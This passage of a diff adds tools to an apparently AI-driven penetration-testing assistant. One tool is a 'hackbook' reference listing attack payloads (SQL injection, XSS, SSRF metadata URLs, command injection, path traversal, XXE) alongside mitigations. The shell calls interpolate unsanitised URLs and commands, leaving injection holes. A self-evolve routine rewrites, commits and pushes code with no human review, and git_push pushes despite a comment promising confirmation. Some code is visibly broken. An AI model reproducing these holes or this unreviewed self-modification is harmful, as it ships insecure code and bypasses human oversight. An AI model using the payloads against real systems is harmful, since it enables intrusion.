Limit Test: ${url} (${mode})\n${results.join("\n")}`; + } catch(e){return `[rate_limit_test Error] ${e.message}`;} + }, + + plugin_load: async (input) => { + try { + const {existsSync,mkdirSync,readdirSync,resolve} = await import("fs/promises").catch(() => $r("fs")); + const pf = await import("path"); + const pluginDir = (input||"").trim() || $r("os").homedir() + "/.config/phantom/plugins"; + if (!existsSync(pluginDir)) mkdirSync(pluginDir, {recursive: true}); + const files = readdirSync(pluginDir).filter(f => f.endsWith(".mjs") || f.endsWith(".js")); + if (!files.length) return `[Plugin] No plugins in ${pluginDir}`; + let loaded = 0; + for (const f of files) { + try { const mod = await import(pf.resolve(pluginDir, f)); if (mod.name && mod.execute) { globalThis.hackerTools ||= {}; globalThis.hackerTools[mod.name] = mod.execute; loaded++; } } catch {} + } + return loaded ? `🔌 Loaded ${loaded} plugin(s)` : `[Plugin] No valid plugins`; + } catch (e) { return `[Plugin Error] ${e.message}`; } + }, + plugin_create: async (input) => { + try { + const [name,...rest] = input.split("|"); const n = (name||"").trim().toLowerCase().replace(/[^a-z0-9_]/g,"_"); const desc = (rest[0]||"Custom plugin").trim(); + if (!n) return `[Plugin] Format: tool_name|description`; + const d = $r("os").homedir() + "/.config/phantom/plugins"; $r("fs").mkdirSync(d, {recursive:true}); + const fp = d + "/" + n + ".mjs"; + $r("fs").writeFileSync(fp, `// Phantom Plugin: ${n}\n// ${desc}\nexport const name = "${n}";\nexport const description = "${desc}";\nexport async function execute(input) {\n try { return \`[${n}] Processed: \${input}\`; } catch (e) { return \`[\${name} Error] \${e.message}\`; }\n}\n`); + return `🔌 Plugin created: @${n}\n ${fp}`; + } catch (e) { return `[Plugin Error] ${e.message}`; } + }, + report_export: async (input) => { + try { + const {existsSync,readdirSync,readFileSync,writeFileSync,mkdirSync} = $r("fs"); const {resolve} = $r("path"); const {homedir} = $r("os"); + const rd = resolve(homedir(), ".config", "phantom", "reports"); + const args = input.trim().split(/\s+/); + const name = args[0] || ""; + const fmt = (args[1] || "html").toLowerCase(); + + // If no args, list + if (!name && existsSync(rd)) { + const all = readdirSync(rd).filter(f => !f.includes("batch_")).filter(f => f.endsWith(".md")); + if (!all.length) return `[ReportExport] No reports in ${rd}`; + return `[ReportExport] Usage: @report_export|name [format]\\nFormats: html (default), json, txt\\nAvailable: ${all.join(", ")}`; + } + const fp = resolve(rd, name.includes(".") ? name : name + ".md"); + if (!existsSync(fp)) return `[ReportExport] Not found: ${name}`; + const content = readFileSync(fp, "utf-8"); + + if (fmt === "json") { + const lines = content.split("\n").filter(Boolean); + const json = JSON.stringify({ name, exported: new Date().toISOString(), lines, raw: content }, null, 2); + const outPath = fp.replace(/\.\w+$/, ".json"); + writeFileSync(outPath, json, "utf-8"); + return `📄 JSON: ${outPath} (${json.length} bytes)`; + } + if (fmt === "txt") { + const plain = content.replace(/^#+ /gm, "").replace(/\*\*(.+?)\*\*/g, "$1").replace(/`{3}[\s\S]*?`{3}/g, m => m.replace(/`{3}/g,"").trim()); + const outPath = fp.replace(/\.\w+$/, ".txt"); + writeFileSync(outPath, plain, "utf-8"); + return `📄 TXT: ${outPath} (${plain.length} bytes)`; + } + + // Default: enhanced HTML export + const title = name.replace(/\.md$/, "").replace(/_/g, " ").replace(/\b\w/g, c => c.toUpperCase()); + const body = content + .replace(/&/g,"&").replace(//g,">") + .replace(/^#### (.+)$/gm,"

$1

") + .replace(/^### (.+)$/gm,"

$1

") + .replace(/^## (.+)$/gm,"

$1

") + .replace(/^# (.+)$/gm,"

$1

") + .replace(/\*\*(.+?)\*\*/g,"$1") + .replace(/`{3}([\s\S]*?)`{3}/g,"
$1
") + .replace(/`(.+?)`/g,"$1") + .replace(/\n/g,"
"); + const html = `Phantom — ${title} +

🔮 Phantom — ${title}

+ ${body} + + `; + const outPath = fp.replace(/\.\w+$/, ".html"); + writeFileSync(outPath, html, "utf-8"); + return `📄 Export: ${outPath}\n Formats: @report_export|${name}|json — @report_export|${name}|txt`; + } catch (e) { return `[ReportExport Error] ${e.message}`; } + }, + distro: async (input) => { + try { + const cmd = (input||"").trim().toLowerCase(); + const isProotEnv = __r.ENV.isProot; + const distroId = ($r("fs").readFileSync("/etc/os-release","utf-8").match(/^ID=(.+)$/m) || [,"unknown"])[1]; + const prettyName = ($r("fs").readFileSync("/etc/os-release","utf-8").match(/^PRETTY_NAME="(.+)"$/m) || [,"Unknown"])[1]; + if (!cmd || cmd === "info") { + return `📦 Current Distro\n ID: ${distroId}\n Name: ${prettyName}\n Kernel: ${$r("os").release()}\n Arch: ${process.arch}\n ${isProotEnv ? "🔒 PRoot: yes (nested proot-distro not available)" : "🔓 PRoot: no (proot-distro available)"}\n Host: Termux (Termux)\n\nCommands:\n @distro|info — show this\n @distro|list — list proot-distro environments (outside PRoot only)\n @distro|run — run command in another distro (outside PRoot)`; + } + if (cmd === "list") { + if (isProotEnv) return `[Distro] Can't list: already inside PRoot. Run from Termux host.`; + const { execSync } = $r("child_process"); + const out = execSync("proot-distro list 2>&1", { encoding: "utf-8", timeout: 10000 }); + return `📦 Available Distros\n${out.trim()}`; + } + if (cmd.startsWith("run ")) { + if (isProotEnv) return `[Distro] Can't run nested PRoot. Run from Termux host.`; + const rest = cmd.slice(4).trim(); + const sp = rest.indexOf(" "); + const dName = sp > 0 ? rest.slice(0, sp) : rest; + const dCmd = sp > 0 ? rest.slice(sp + 1) : "whoami"; + const { execSync } = $r("child_process"); + const out = execSync(`proot-distro login ${dName} -- ${dCmd} 2>&1`, { encoding: "utf-8", timeout: 30000 }); + return `📦 [${dName}] $ ${dCmd}\n${out.trim()}`; + } + return `[Distro] Unknown: "${cmd}". Try: info, list, run `; + } catch (e) { return `[Distro Error] ${e.message}`; } + }, + llm_config: async (input) => { + try { + const provs = ["openai","anthropic","gemini","groq","deepseek","mistral","openrouter","ollama","opencode"]; + const envs = {openai:"OPENAI_API_KEY",anthropic:"ANTHROPIC_API_KEY",gemini:"GEMINI_API_KEY",groq:"GROQ_API_KEY",deepseek:"DEEPSEEK_API_KEY",mistral:"MISTRAL_API_KEY",openrouter:"OPENROUTER_API_KEY",ollama:"",opencode:"HERMES_OPCODE_API_KEY"}; + const cmd = (input||"").trim().toLowerCase(); + if (!cmd || cmd === "list" || cmd === "ls") { + const cur = __r.PHANTOM_LLM_PROVIDER || "openai"; + const status = provs.map(p => { + const e = envs[p]; const hasKey = !e || !!process.env[e]; + return ` ${p === cur ? "→" : " "} ${p.padEnd(12)} ${e ? (hasKey ? "✅ key set" : "❌ no key") : "🟢 local"}${e ? ` (${e})` : ""}`; + }).join("\n"); + return `🤖 LLM Configuration\nProvider: ${cur}\n\nAvailable:\n${status}\n\nUsage:\n @llm_config — show this\n @llm_config| — switch provider\n @llm_config|set KEY value — set API key (persisted)\n @llm_config|model name — set model override`; + } + if (cmd === "set") { + const rest = cmd.slice(4).trim(); const sp = rest.indexOf(" "); + const e = (sp > 0 ? rest.slice(0, sp) : rest).toUpperCase(); + const v = sp > 0 ? rest.slice(sp + 1) : ""; + if (!v) return `[LLM] Usage: @llm_config|set ENV_NAME value`; + process.env[e] = v; __r._config[e] = v; + try { fs.writeFileSync(userConfigPath, JSON.stringify(__r._config, null, 2)); } catch {} + return `✅ ${e} set and saved`; + } + if (cmd.startsWith("model ")) { + const m = cmd.slice(6).trim(); if (!m) return `[LLM] Usage: @llm_config|model name`; + __r._config.default_model = m; + try { fs.writeFileSync(userConfigPath, JSON.stringify(__r._config, null, 2)); } catch {} + return `✅ Default model: ${m}`; + } + if (provs.includes(cmd)) { + if (__r.llmInstance) { try { __r.llmInstance.provider = cmd; } catch {} } + __r.setProvider(cmd); + return `✅ Switched to ${cmd}. ${cmd === "ollama" ? "Run Ollama locally." : `Set ${cmd.toUpperCase()}_API_KEY if needed.`}`; + } + return `[LLM] Unknown: "${cmd}". Options: ${provs.join(", ")}, set KEY val, model name`; + } catch (e) { return `[LLM Error] ${e.message}`; } + }, + + youtube_summarize: async (url) => { + try { + try { const { execSync } = await import("child_process"); execSync("command -v yt-dlp", { stdio: "pipe", timeout: 3000 }); } catch { return "[youtube] yt-dlp not found. Install: pip install yt-dlp"; } + const { execSync } = await import("child_process"); + const title = execSync(`yt-dlp --print title "${url}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }).trim(); + let transcript = ""; + try { transcript = execSync(`yt-dlp --write-auto-sub --sub-lang en --skip-download -o "%(id)s" "${url}" 2>/dev/null; cat *.vtt 2>/dev/null || true`, { encoding: "utf-8", timeout: 30000 }); } catch { try { transcript = execSync(`yt-dlp --write-subs --sub-lang en --skip-download -o "%(id)s" "${url}" 2>/dev/null; cat *.vtt 2>/dev/null || true`, { encoding: "utf-8", timeout: 30000 }); } catch {} } + if (!transcript) try { transcript = execSync(`yt-dlp --print description "${url}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); } catch {} + if (!transcript) return `[youtube] No transcript for: "${title}"`; + transcript = transcript.replace(/\d{2}:\d{2}:\d{2}[.,]\d{3}\s*>\s*/g, "").replace(/WEBVTT[\s\S]*?X-TIMESTAMP-MAP.*?\n/g, "").trim(); + if (transcript.length > 6000) transcript = transcript.slice(0, 6000) + "\n...[truncated]"; + let summary = ""; + if (__r.llmInstance?.chat) { + const resp = await __r.llmInstance.chat([ + { role: "system", content: "You are a cybersecurity training summarizer. Given a transcript, create: 1) 3-sentence summary 2) Key takeaways 3) A ready-to-use playbook with 3-5 steps. Format playbook as: ```playbook\nname: ...\ndescription: ...\nsteps:\n - tool: ...\n target: ...```" }, + { role: "user", content: `Video: "${title}"\nTranscript:\n${transcript}` } + ]); + summary = resp.trim(); + } else { summary = `Title: ${title}\nTranscript: ${transcript.length} chars\n(LLM unavailable) Data saved, add LLM for AI summary.`; } + const name = `yt_${title.replace(/[^a-z0-9]/gi, "_").slice(0, 30).toLowerCase()}`; + const pbPath = resolve(PLAYBOOKS_DIR, `${name}.json`); + if (!fs.existsSync(PLAYBOOKS_DIR)) fs.mkdirSync(PLAYBOOKS_DIR, { recursive: true }); + fs.writeFileSync(pbPath, JSON.stringify({ name: title.slice(0,50), source: "youtube", url, created: new Date().toISOString(), summary }, null, 2), "utf-8"); + return `🎬 YouTube: "${title}"\nTranscript: ${transcript.length} chars\nPlaybook: ${pbPath}\n\n${summary.slice(0,2000)}`; + } catch (e) { return `[youtube Error] ${e.message}`; } + }, + + hackbook: async (query) => { + const q = query?.trim().toLowerCase() || "list"; + const HACKBOOK_PATH = resolve(BASE_DIR, "hackbook.json"); + // Load custom entries from file (merges with built-in) + let customDb = []; + try { + if (fs.existsSync(HACKBOOK_PATH)) customDb = JSON.parse(fs.readFileSync(HACKBOOK_PATH, "utf-8")); + } catch {} + const builtinDb = [ + { id:"sql-injection", t:"SQL Injection (SQLi)", s:"Critical", d:"Attackers inject malicious SQL queries through input fields to manipulate databases, extract data, bypass auth, or execute commands.", i:"Data breach, auth bypass, RCE, complete DB compromise", test:["Submit single quote and double quote to trigger errors","Use time-based: ' OR SLEEP(5)--","UNION SELECT: ' UNION SELECT 1,2,3--","Test all vectors: GET, POST, headers, cookies","sqlmap -u 'http://target.com/page?id=1' --batch"], m:"Parameterized queries, input validation, least privilege DB accounts, WAF", tools:"sqlmap, jSQL, Burp Suite, NoSQLMap" }, + { id:"xss", t:"Cross-Site Scripting (XSS)", s:"High", d:"Attackers inject malicious scripts into web pages viewed by other users. Types: Reflected, Stored, DOM-based.", i:"Session hijacking, credential theft, defacement, phishing", test:["Inject ","Event handlers: ","Test URL params for reflected XSS","DOM-based via location.hash","Polyglot payloads for WAF bypass"], m:"Output encoding, Content-Security-Policy, HttpOnly cookies, X-XSS-Protection", tools:"XSStrike, Burp Suite, OWASP ZAP, BeEF, Dalfox" }, + { id:"csrf", t:"Cross-Site Request Forgery (CSRF)", s:"High", d:"Forces authenticated users to execute unwanted actions on a web app where they're authenticated.", i:"Unauthorized transactions, password changes, account takeover", test:["Check if state-changing requests lack CSRF tokens","Verify tokens tied to sessions","Test SameSite cookies","CORS misconfigurations","CSRF without origin/referer headers"], m:"Anti-CSRF tokens, SameSite=Strict/Lax cookies, Origin/Referer validation", tools:"Burp Suite, OWASP ZAP, CSRFTester" }, + { id:"ssrf", t:"Server-Side Request Forgery (SSRF)", s:"High", d:"Attackers make the server send requests to internal systems, bypassing firewalls.", i:"Internal network scanning, cloud metadata access, service exploitation", test:["Submit URLs to internal IPs: 127.0.0.1, 169.254.169.254","Cloud metadata: http://169.254.169.254/latest/meta-data/","URL scheme bypass: file://, dict://, gopher://","Redirect-based SSRF","DNS rebinding"], m:"Allowlist destinations, disable unnecessary URL schemes, network segmentation", tools:"SSRFmap, Gopherus, Interactsh" }, + { id:"rce", t:"Remote Code Execution (RCE)", s:"Critical", d:"Attackers execute arbitrary commands on the server via injection flaws.", i:"Full server compromise, data exfiltration, lateral movement, backdoor", test:["Command injection: ; whoami, | id, $(whoami)","File upload for web shells","Deserialization gadgets (Java, PHP, Python, .NET)","Template injection: {{7*7}}, ${7*7}","eval() sinks"], m:"Avoid dangerous functions (eval, exec, system), input validation, sandboxing, WAF", tools:"Metasploit, Commix, ysoserial, JexBoss" }, + { id:"lfi", t:"Local File Inclusion (LFI)", s:"High", d:"Attackers read arbitrary files by manipulating path parameters. Can lead to RCE.", i:"Source code disclosure, credential leakage, RCE via log poisoning", test:["Path traversal: ../../../etc/passwd","PHP wrappers: php://filter/convert.base64-encode/","Null byte injection","Log poisoning: inject PHP in UA, include access.log"], m:"Avoid dynamic includes, allowlist paths, disable allow_url_fopen", tools:"LFISuite, Kadimus, PHP filter chain" }, + { id:"idor", t:"Insecure Direct Object Reference (IDOR)", s:"Medium", d:"Attackers access unauthorized resources by modifying direct references.", i:"Unauthorized data access, account takeover, privilege escalation", test:["Increment IDs: /user/123 -> /user/124","Predictable UUIDs","Change params: ?invoice=123 -> ?invoice=456","Multi-tenant boundary violations"], m:"Access control checks, use unpredictable IDs (UUIDs)", tools:"Burp Sequencer, Autorize, AuthMatrix" }, + { id:"xxe", t:"XML External Entity (XXE)", s:"High", d:"Attackers exploit XML parsers to read files, perform SSRF, or cause DoS.", i:"File disclosure, SSRF, DoS (Billion Laughs), RCE", test:["]>","Blind XXE out-of-band","XXE in SVG upload, XML-RPC","XXE in docx/xlsx"], m:"Disable external entity processing, use JSON, disable DTDs", tools:"XXE-injection, OWASP ZAP, Burp Collaborator" }, + { id:"open-redirect", t:"Open Redirect", s:"Medium", d:"Application redirects users to attacker-controlled URLs via unvalidated params.", i:"Phishing, malware distribution, credential theft, SEO spam", test:["/redirect?url=http://evil.com","Protocol-relative: //evil.com","Domain confusion: https://evil.com@target.com","Redirect chains for SSRF"], m:"Allowlist valid destinations, validate URLs, require confirmation", tools:"Oralyzer, Burp Scanner, OWASP ZAP" }, + { id:"nosqli", t:"NoSQL Injection", s:"High", d:"Injection flaws in NoSQL databases where attackers inject JSON/JS operators.", i:"Auth bypass, data extraction, unauthorized access", test:["JSON operators: {$gt: ''}, {$ne: ''}, {$regex: '.*'}","username[$ne]=admin&password[$ne]=admin","POST with $where, $gte","NoSQL in login: ' || 1==1 //"], m:"Input validation, mongo-sanitize, parameterized queries", tools:"NoSQLMap, nosqli, Burp Suite" }, + { id:"file-upload", t:"Malicious File Upload", s:"High", d:"Attackers upload malicious files processed or served by the app.", i:"RCE via web shell, malware distribution, server compromise", test:["Double extension: shell.php.jpg","MIME type manipulation","Upload .htaccess: AddType x-httpd-php .txt","SVG with XXE"], m:"Validate extension and content, store outside webroot, rename files, limit size", tools:"Burp Upload Scanner, Fuxploider" }, + { id:"jwt", t:"JWT Attacks", s:"Medium", d:"Attacks on JSON Web Tokens: algorithm confusion, weak secrets, header injection.", i:"Auth bypass, privilege escalation, account takeover", test:["Algorithm to 'none': alg: none, empty sig","RS256 public key as HS256 secret","Bruteforce weak secret","kid header injection","Expired/revoked token testing"], m:"Enforce algorithm allowlist, strong secrets, validate claims, key rotation", tools:"jwt_tool, jwt-cracker, hashcat" }, + { id:"cors", t:"CORS Misconfiguration", s:"Medium", d:"Improper CORS headers allow cross-origin requests from unauthorized domains.", i:"Data exfiltration, API abuse, credential theft", test:["Origin: https://evil.com check ACAO reflection","ACA with wildcard origin","Null origin","Preflight bypass"], m:"Allowlist origins, never wildcards with credentials, Vary: Origin", tools:"CORS Scanner, Burp, corsy" }, + { id:"race-condition", t:"Race Condition", s:"Medium", d:"TOCTOU bugs where concurrent requests exploit gaps between check and use.", i:"Coupon abuse, ticket scalping, balance manipulation", test:["50 concurrent requests","Race password change","File upload race","Last-byte sync","Single-packet attack"], m:"Database transactions/locks, atomic operations, idempotency keys, rate limiting", tools:"Turbo Intruder (Burp), race-the-web" }, + { id:"bug-bounty-basics", t:"Bug Bounty Basics — Getting Started", s:"Info", d:"Bug bounties are when companies pay hackers to find vulnerabilities in their applications. Platforms like HackerOne, Bugcrowd, Synack, and Intigriti act as middlemen. You sign up, find bugs, report them, and if legit, you get paid ($50–$50,000). Before touching platforms, learn fundamentals through hands-on practice.", i:"Career in security, ethical hacking skills, potential income ($50–$50k per bug), real-world security impact", test:["Read 'Real-World Bug Hunting' by Peter Yaworski — study real bug bounty writeups","Practice on TryHackMe, HackTheBox, and PortSwigger Web Security Academy","Study OWASP Top 10: XSS, SSRF, SQLi, IDOR, CSRF, XXE, RCE, LFI, NoSQLi, race conditions","Learn Jason Haddix's recon methodology — passive recon → subdomain enum → directory bruteforce → parameter analysis","Intercept & analyze traffic with Burp Suite — don't just run scanners","Understand each tool's output — tools show the haystack, you find the needle"], m:"Read real bug reports before submitting. Understand scope rules on each platform. Never test out-of-scope targets. Write clear, reproducible reports. Be patient — days of nothing are normal.", tools:"Burp Suite, nuclei, subfinder, httpx, dir_brute, ffuf, OWASP ZAP, HackTheBox, TryHackMe, PortSwigger Academy", ref:"https://www.youtube.com/watch?v=1ve-YrLOE7E — Bug Bounty Hunting Basics for Beginners 2024" }, + { id:"cybersec-fundamentals", t:"Cybersecurity Fundamentals — 5 Core Skills", s:"Info", d:"Based on HackerSploit's guide. The 5 essential skills: (1) Virtual Machines — Hypervisors (VirtualBox/VMware/KVM), snapshots, isolated environments for training and malware analysis. (2) Command Line — Bash/Zsh/PowerShell, scripting, automation, WSL for Windows. (3) System Administration — configure/maintain systems, learn by doing, push limits. (4) Computer Networking — TCP/IP (4 layers) and OSI (7 layers), protocols, troubleshooting. (5) Personal Digital Security — passwords, encryption, secure comms, staying current.", i:"Foundation for ANY cybersecurity role (red/blue/IT ops), career readiness, practical hands-on skills over certs", test:["Install VirtualBox and set up a Kali Linux VM","Practice 10 basic Bash commands: ls, cd, grep, find, chmod, ps, netstat, curl, awk, sed","Configure a basic Linux server: SSH, firewall, users","Map TCP/IP layers for a web request: browser → DNS → TCP → HTTP","Set up a password manager and enable 2FA on all accounts"], m:"N/A — fundamentals guide", tools:"VirtualBox, VMware, WSL, Bash, Wireshark, nmap, OpenVPN" }, + ]; + if (q === "list") return `📚 PHANTOM HACKBOOK\n\nCategories (${builtinDb.length}):\n${builtinDb.map(e => ` ${e.t} — ${e.s}`).join("\n")}\n\nUsage: @hackbook|\nExample: @hackbook|sql-injection`; + const matches = builtinDb.filter(e => e.id.includes(q) || e.t.toLowerCase().includes(q) || e.d.toLowerCase().includes(q)); + if (!matches.length) return `[hackbook] No results for "${q}". Try: ${builtinDb.map(e=>e.id).join(", ")}`; + if (matches.length > 1) return `[hackbook] Multiple: ${matches.map(e=>e.t).join(", ")}. Be specific.`; + const e = matches[0]; + return `📚 ${e.t}\n${"=".repeat(40)}\nSeverity: ${e.s}\n\n📖 ${e.d}\n\n⚠️ Impact:\n${e.i}\n\n🔍 Testing:\n${e.test.map((s,i) => ` ${i+1}. ${s}`).join("\n")}\n\n🛡️ Mitigation:\n${e.m}\n\n🔧 Tools:\n${e.tools}\n${e.ref ? `\n📺 Reference:\n${e.ref}\n` : ""}${"=".repeat(40)}`; + }, + + code_analyze: async (input) => { + const arg = input.trim(); + if (!arg) return "[code_analyze] Usage: @code_analyze|file_path or directory"; + try { + const fp = resolve(process.cwd(), arg); + const st = fs.statSync(fp); + let files = []; + if (st.isDirectory()) { + const { readdirSync } = await import("fs"); + const all = readdirSync(fp, { recursive: true }); + const exts = [".js",".ts",".mjs",".py",".php",".java",".go",".rs",".cpp",".c",".h",".rb",".html",".sh",".yaml",".sql"]; + files = all.filter(f => exts.some(e => f.endsWith(e))).slice(0,20).map(f => resolve(fp, f)); + if (!files.length) files = [fp]; + } else { files = [fp]; } + const results = []; + for (const f of files.slice(0,5)) { + const code = fs.readFileSync(f, "utf-8").slice(0,3000); + const name = f.replace(process.cwd()+"/", ""); + const ext = f.split(".").pop(); + const issues = []; + const checks = [ + { rx: [/\beval\s*\(/g, /\bexec\s*\(/g, /\bsystem\s*\(/g, /\bpopen\s*\(/g, /child_process/g], label: "eval/exec use" }, + { rx: [/['"][A-Za-z0-9_]{20,}['"]/g, /(api[_-]?key|secret|password|token|auth).{0,20}=.{0,20}['"][A-Za-z0-9_]{8,}['"]/gi], label: "Hardcoded secret" }, + { rx: [/['"].*\+.*['"].*SQL/g, /\bquery\(.*\+/g, /\bexecute\(.*\+/g], label: "SQL injection risk" }, + { rx: [/==\s*true/g, /\b(true|false)\s*!=\s*/g], label: "Insecure comparison" }, + { rx: [/\bMD5\b/g, /\bSHA1\b/gi, /\bRC4\b/g, /\bDES\b/g], label: "Weak crypto" }, + { rx: [/\bfs\.readFileSync/g, /\bopen\(.*\$/g], label: "File access" }, + { rx: [/console\.log\(/g, /print_r\(/g, /var_dump\(/g, /debugger/g], label: "Debug leak" }, + { rx: [/\bredirect\(.*\$/g, /\bheader\(.*Location/g], label: "Unvalidated redirect" } + ]; + for (const c of checks) for (const r of c.rx) { const m = code.match(r); if (m) issues.push(`${c.label} (${m.length}x)`); } + results.push({ file: name, size: code.length, ext, issues: [...new Set(issues)] }); + } + let report = `# Code Security Analysis\nTarget: ${arg} (${files.length} files)\nScanned: ${Math.min(files.length,5)}\n\n`; + for (const r of results) { + report += `## ${r.file}\nSize: ${r.size}B | Type: ${r.ext}\n`; + if (r.issues.length) { r.issues.forEach(i => report += `- ${i}\n`); } else { report += "No issues found\n"; } + report += "\n"; + } + if (files.length > 5) report += `_${files.length-5} more files not scanned_\n`; + if (__r.llmInstance?.chat && results.length) { + const samples = results.map(r => `File: ${r.file}\n${fs.readFileSync(r.file,"utf-8").slice(0,1500)}`).join("\n\n---\n\n"); + const llmOut = await __r.llmInstance.chat([ + { role: "system", content: "You are a code security auditor. Analyze for OWASP Top 10, hardcoded secrets, logic flaws. Give specific line numbers and fixes." }, + { role: "user", content: `Code to analyze:\n\n${samples.slice(0,8000)}` } + ]); + report += `## AI Analysis\n\n${llmOut.trim().slice(0,3000)}\n`; + } + return report; + } catch (e) { return `[code_analyze Error] ${e.message}`; } + }, + + self_improve: async (input) => { + const focus = input?.trim().toLowerCase() || "all"; + try { + const src = fs.readFileSync(resolve(process.cwd(), "phantom.mjs"), "utf-8"); + const lines = src.split("\n").length; + const size = (src.length / 1024).toFixed(1); + const classes = (src.match(/class\s+\w+/g) || []).length; + const fns = (src.match(/async\s+\w+\s*\(/g) || []).length; + let report = `# Self-Improvement\nSource: phantom.mjs\nLines: ${lines} | Size: ${size} KB\nClasses: ${classes} | Async fns: ~${fns}\nFocus: ${focus}\n\n`; + const imps = []; + if (focus === "all" || focus === "performance") { imps.push(`Split ${lines}-line monolith into modules`); imps.push("Lazy-load rarely used tools"); imps.push("Use WeakMap for agent caches"); } + if (focus === "all" || focus === "security") { imps.push("Add input length limits to prevent ReDoS"); imps.push("Sanitize file paths to prevent traversal"); imps.push("Rate-limit shell execution"); imps.push("Validate URLs against SSRF allowlist"); } + if (focus === "all" || focus === "features") { imps.push("Web dashboard for agent monitoring"); imps.push("Plugin hot-reload without restart"); imps.push("Export to PDF/Nessus/OpenVAS"); imps.push("Multi-session tabs for concurrent targets"); imps.push("Voice commands via Termux TTS"); } + report += `## Improvements (${imps.length})\n\n${imps.map((s,i) => `${i+1}. ${s}`).join("\n")}\n\n`; + let patched = false; + if (__r.llmInstance?.chat && lines > 3200) { + report += `LLM analyzing optimization opportunities...\n`; + const analysis = await __r.llmInstance.chat([ + { role: "system", content: "You are code optimization AI. Analyze Phantom source and suggest 3 specific improvements with exact code changes." }, + { role: "user", content: `Source: phantom.mjs (${lines} lines, ${size} KB)\nFocus: ${focus}\n\nFirst 3000 chars:\n${src.slice(0,3000)}\n\nLast 2000 chars:\n${src.slice(-2000)}` } + ]); + report += `${analysis.trim().slice(0,2000)}\n`; + const dir = resolve(REPORTS_DIR, "self_improve"); + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(resolve(dir, `analysis_${Date.now()}.md`), `# Self-Improvement\n\n${analysis}`, "utf-8"); + patched = true; + } + report += `\n${patched ? "Analysis saved to reports/self_improve/" : "No LLM available for deep analysis"}\nTo apply: @self_edit|phantom.mjs|old|new`; + return report; + } catch (e) { return `[self_improve Error] ${e.message}`; } + }, + + // ── SELF-EVOLVE — full pipeline: wrappers→heal→optimize→validate→test→push ── + self_evolve_primary: async (input) => { + const arg = (input || "").trim().toLowerCase(); + + // Status check + if (arg === "status" || arg === "s" || arg === "--status") { + try { + const { autoEvolve, getEvolveStatus, detectMissingWrappers } = await import("./evolve.mjs"); + const st = getEvolveStatus(); + const lines = [ + `🧬 PHANTOM AUTO-EVOLUTION`, + `Generation: ${st.generation}`, + `Wrappers created: ${st.wrappers_created}`, + `Errors auto-fixed: ${st.errors_fixed}`, + `Patches: ${st.patches_applied}`, + `Last evolve: ${st.last_evolve || "never"}`, + ]; + if (st.wrapper_list?.length > 0) { + lines.push(`\n Auto-wrappers:`); + st.wrapper_list.slice(-5).forEach(w => lines.push(` ${w.bin} → ${w.path}`)); + } + if (st.recent_fixes?.length > 0) { + lines.push(`\n Recent fixes:`); + st.recent_fixes.slice(-3).forEach(f => lines.push(` ${f.ts?.split("T")[0]} ${f.tool}: ${f.fix?.slice(0, 60)}`)); + } + // Check for new wrappers available + try { + const missing = detectMissingWrappers(); + if (missing.length > 0) lines.push(`\n ⚡ ${missing.map(m => m.bin).join(", ")} installed — wrappers ready to generate`); + } catch {} + return lines.join("\n"); + } catch (e) { return `[evolve status] ${e.message}`; } + } + + // Run full evolution + try { + const { autoEvolve } = await import("./evolve.mjs"); + const result = await autoEvolve(); + const lines = [`🧬 PHANTOM EVOLUTION — Generation ${result.generation}`]; + const created = result.results.filter(r => r.phase === "wrapper" && r.status === "created"); + if (created.length > 0) { + lines.push(`\n✅ Created ${created.length} new tool wrapper(s):`); + created.forEach(c => lines.push(` + ${c.bin} → lib/auto_tools/${c.bin}.mjs`)); + } + const gitCommit = result.results.filter(r => r.phase === "git" && r.status === "committed"); + if (gitCommit.length > 0) lines.push(`\n📦 Git commit: ${gitCommit.length} change(s)`); + const testPass = result.results.filter(r => r.phase === "test" && r.status === "passed"); + const testFail = result.results.filter(r => r.phase === "test" && r.status === "failed"); + const testRetry = result.results.filter(r => r.phase === "test_retry" && r.status === "passed"); + if (testFail.length > 0) { + lines.push(`\n❌ Tests failed: ${testFail[0].passed}/${testFail[0].passed + testFail[0].failed}`); + } else if (testPass.length > 0) { + lines.push(`\n🧪 Tests passed: ${testPass[0].passed}/${testPass[0].passed}`); + } + if (testRetry.length > 0) { + lines.push(` 🔧 Healed + retry passed: ${testRetry[0].passed}/${testRetry[0].passed}`); + } + const ready = result.results.filter(r => r.phase === "git" && r.status === "ready_to_push"); + if (ready.length > 0) { + for (const r of ready) { + lines.push(`\n📦 Auto-pushing ${r.commits.split("\n").length} commit(s)...`); + } + try { + const { execSync } = await import("child_process"); + const cwd = resolve(import.meta.dirname, ".."); + const pushOut = execSync("git push", { cwd, encoding: "utf-8", timeout: 60000 }); + lines.push(`✅ Pushed: ${pushOut.trim().split("\n").pop() || "done"}`); + } catch (e) { + const msg = e.stderr?.trim() || e.message; + lines.push(`⚠ Push failed: ${msg.slice(0, 200)}`); + } + } + const validated = result.results.filter(r => r.phase === "validate" && r.status === "ok"); + if (validated.length > 0) lines.push(`\n✅ ${validated.length} files validated`); + const failed = result.results.filter(r => r.status === "error" || r.status === "failed"); + if (failed.length > 0) { + lines.push(`\n⚠ ${failed.length} issues found:`); + failed.forEach(f => lines.push(` ${f.file || f.bin || ""}: ${f.error?.slice(0, 100) || "?"}`)); + } + const opts = result.results.filter(r => r.phase === "optimize"); + if (opts.length > 0) { + lines.push(`\n💡 Optimization suggestions:`); + opts.forEach(o => lines.push(` ${o.detail?.slice(0, 120)}`)); + } + if (created.length === 0 && validated.length > 0 && failed.length === 0) { + lines.push("\n✓ Phantom is healthy — no evolution needed"); + } + return lines.join("\n"); + } catch (e) { return `[self_evolve Error] ${e.message}`; } + }, + + git_push: async (input) => { + // Show pending commits and push on confirmation + const { execSync } = await import("child_process"); + const cwd = resolve(import.meta.dirname, ".."); + try { + // Show what's pending + const behind = execSync(`git log origin..HEAD --oneline 2>/dev/null`, { cwd, encoding: "utf-8", timeout: 5000 }).trim(); + if (!behind) return "📤 Nothing to push — local is up to date with origin."; + const lines = behind.split("\n"); + let out = `📤 ${lines.length} commit(s) ahead of origin:\n`; + lines.slice(0, 10).forEach(l => out += ` ${l}\n`); + if (lines.length > 10) out += ` … +${lines.length - 10} more\n`; + + // Push + const pushOut = execSync("git push", { cwd, encoding: "utf-8", timeout: 60000 }); + out += `\n✅ Pushed: ${pushOut.trim().split("\n").pop() || "done"}`; + return out; + } catch (e) { + const msg = e.stderr?.trim() || e.message; + if (msg.includes("No remote")) return "📤 No remote configured. Set up a remote with `git remote add origin ` first."; + return `[git_push Error] ${msg.slice(0, 400)}`; + } + }, 